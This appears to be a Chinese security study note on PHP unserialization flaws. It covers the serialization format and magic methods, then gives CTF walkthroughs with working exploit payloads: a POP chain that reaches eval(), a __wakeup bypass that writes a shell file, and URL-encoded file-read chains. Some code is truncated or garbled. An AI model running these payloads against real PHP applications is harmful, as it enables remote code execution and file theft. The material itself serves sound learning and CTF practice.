「安全笔记」php反序列化 漏洞笔记

序列化格式

php序列化后的内容是简单的文本格式,但对字母大小写和空白敏感,而字符串是按照字节(或者说是8位的字符)计算的,因此更适合的说法是php序列化的内容是字节流格式

布尔型

bool:<digit>
$a = true;
序列化后: b:1

整数型

int:<value>
$a = 1;
序列化后: i:1;

double型

double:<value>
$a=1.23;
序列化后: d:1.23

另外如果序列化无穷大或序列化超过php能表示的最大数
d:INF
负无穷大
d:-INF
超过php的最小精度
d:0

字符串

string:<length>:<value>
$a="nice";
序列化后: s:4:"nice";

NULL

$a=null;
序列化后: N;

数组

array:<length>:{<key>:<value>;....}
$a=array("php","is","the","best","language")
序列化后: a:5:{i:0;s:3:"php";i:1;s:2:"is";i:2;s:3:"the";i:3;s:4:"best";i:4;s:8:"language";}

对象

object:<class_name_length>:"class_name":<number_of_properties>:{<filed_name1>:<file_value1>;....<filed_namen>:<filed_namen>:<filed_valuen>};
//filed_name为字段名,字符串类型,它序列化后与字符串序列化一样   
序列化后: O:4:"mntn":3:{s:4:"name";N;s:3:"age";N;s:2:"ID";N;}
class Demo{
    public $var1;
    private $var2;
    protected $var3;
}
$demo = new Demo();
echo serialize($demo);
//屏幕输出O:4:"Demo":3:{s:4:"var1";N;s:10:"Demovar2";N;s:7:"*var3";N;}

实际上,对象中的变量被序列化时会发生改变

私有变量private 被序列化时 会变成 %00Demo%00var2 即 %00 + 类名 + %00 + 属性名

共有变量public 被序列化时不改变

受保护变量protected 被序列化时 会变成 %00*%00var3 即 %00 + '*' + %00 + 属性名

在传递参数的时候需要带上否则无法生效

对象序列化中的魔术方法

__construct 构造函数,初始化对象的时候触发

class Test{

    function __construct(){
        echo "this is construct test";
    }
}
$a = new Test();

__destruct 析构函数,对象销毁的时候触发

class Test{

    function __destruct(){
        echo "this is destruct test";
    }
}
$a = new Test();

__toString 对象被当作字符串时触发

class Test{
    function __toString(){
        return "this is test";
    }
}
$a = new Test();
echo $a;

__sleep 类被序列化时会先调用__sleep方法,返回需要被序列化保留的属性

class Test{
    public $var1;
    public $var2;

    function __sleep(){
        return ['var1','var2'];
    }
}

$a = new Test;
$b = serialize($a);
echo $b;
//O:4:"Test":2:{s:4:"var1";N;s:4:"var2";N;}

__wakeup 类被反序列化的时候会先调用__wakeup方法

class Test{
    public $var1;
    public $var2;

    function __wakeup(){
        echo __METHOD__;
    }
    function __construct(){
        echo __METHOD__;
    }
}

$a = new Test;
$b = serialize($a);
unserialize($b);

综合

class Magic_methods
{
    public $var1 = "abc";
    public $var2 = 1;
    public function __construct(){
        echo "run __construct</br>";
    }
    public function __destruct(){
        echo "run __destruct</br>";
    }
    public function __toString(){
        echo "run __toString</br>";
        return $this->var1;
    }
    public function __sleep(){
        echo "run __sleep</br>";
        return array('var1','var2');
    }
    public function __wakeup(){
        echo "run __wakeup</br>";
    }
}
// 创建一个新对象,会先调用__construct()
$obj = new Magic_methods();
// 将对象当作字符串输出,会先调用__toString()
echo $obj."</br>";
// 调用serialize()之前先调用__sleep()
$s = serialize($obj);
echo $s."</br>";
// 调用unserialize()之前会先调用__wakeup()
$data = unserialize($s);
echo $data."</br>"; 
// 此处又一次调用了__toString()
// 脚本执行完毕,即将销毁所有创建的对象,此时调用__destruct()
// 反序列化恢复的对象被销毁,再次调用__desruct()
// 所以这里调用了2次__destruct()

题目

error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}

利用前面的构造反序列化字符串知识可构造s:7:"D0g3!!!",提交即可

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

首先需要利用的是file_get_contents()来达到包含任意文件的目的,利用php伪协议php://input可以控制内容。
以前一直认为php://input只能接收POST请求提交的数据
但是测试的时候GET也可以获取到原始数据流,实际上

php://input可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GET方法提交过来的数据。但是,一般GET方法提交数据 时,http request entity body部分都为空。
php://input 与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据。
也就是说明GET请求也可以在请求的body中传入原始数据流让php://input接收

$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){
        echo "涓嶈兘鐜板湪灏辩粰浣爁lag鍝�";
        exit();
    }else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}else{
    echo "you are not the number of bugku ! ";
}

class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }
    }
}

可控制 $file来达到文件读写,利用反序列化漏洞,因为序列化保存类的属性,所以可构造

class Flag{
    public $file;
}
$a = new Flag;
$a->file = flag.php;
echo unserialize($a);

即可控制读取的文件

__wakeup漏洞

当php是低版本时存在漏洞,当输入的反序列化的对象个数大于真实的个数时,会使得__wakeup函数失效从而可以绕过,同时对象被销毁,执行__destruct().所以攻击者可以绕过__wakeup调用精心设计的__destruct()方法

利用

class A{
    public $a = "test";
    function __destruct(){
        $fp = fopen(__DIR__.'\shell.php',"w");
        fputs($fp,$this->a);
        fclose($fp);
    }
    function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v) {
                    $this->$k = null;
            }
            echo "Waking up...\n";
        }
}
$test = $_POST['test'];
$b = unserialize($test);

poc test = O:1:"A":2:{s:1:"a";s:27:"";}

构造pop链

error_reporting(0);
class lemon{
    protected $classObj;
    function __construct(){
        $this->classObj=new normal();
        // 私有变量$classObj 复制为新类normal的对象,并且调用了该类的方法action
        // 但是有趣的是,另一个类evil 也有同名方法action
        // 所以可以构造pop 链,使得其在__destruct 方法中调用evil 类里的action 方法
    }

    function __destruct(){
        $this->classObj->action();
    }
}

class normal{
    function action(){
        echo "hello";
    }
}

class evil{
    private $data;
    function action(){
        eval($this->data);
    }
}

unserialize($_GET['a']);
//poc
<?php
class lemon{
    protected $classObj;

    function __construct($classObj){
        $this->classObj = $classObj;
    }
}

class evil{
    private $data;

    function __construct($data){
        $this->data = $data;
    }
}

$e = new evil('eval("$_GET[${s}]")');
$a = new lemon($e);
echo urlencode(serialize($a));

安恒 月赛题

@error_reporting(1);
include 'flag.php';
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight_file("./test.php");
}

安恒 2019 一月月赛
当时没做出来,赛后也没总结,现在拿出来再分析一下

skyobj = new sec;
    }
    function __toString()
    {
        if (isset($this->skyobj))
            return $this->skyobj->read();
    }
}

class cool
{
    public $filename;
    public $nice;
    public $amzing;
    function read()
    {
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "you must be joking!";
            }
        }
    }
}

class sec
{
    function read()
    {
        return "it's so sec~~";
    }
}

if (isset($_GET['data']))
{
    $Input_data = unserialize($_GET['data']);
    echo $Input_data;
}
else
{
    highlight_file("./test.php");
}
?>

首先明确利任意文件读取的利用点是 __toString方法,然后看到__toString方法下面有一个read()方法,很明显要利用cool里的read()方法来达到目的。明确目标就可以来构造pop

coolread()方法需要反序列化一个类,这个类很明显是baby类,而且需要满足$aaa=$bbb,发现$aaa会被重新赋值,而且无法控制,这里可以用地址符来保证一定相等
构造amzing

class baby{
    protected $skyobj;
    function __construct()
    {
        $this->skyobj = new cool;
    }
}
$a = new baby();
$a->bbb = &$a->aaa;
echo urlencode(serialize($a));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D

然后可以构造完整exp

class cool{
    public $filename = 'flag.php';
    public $nice;
    public $amzing = 'O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
}
$c = new baby();

echo urlencode(serialize($c));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

参与评论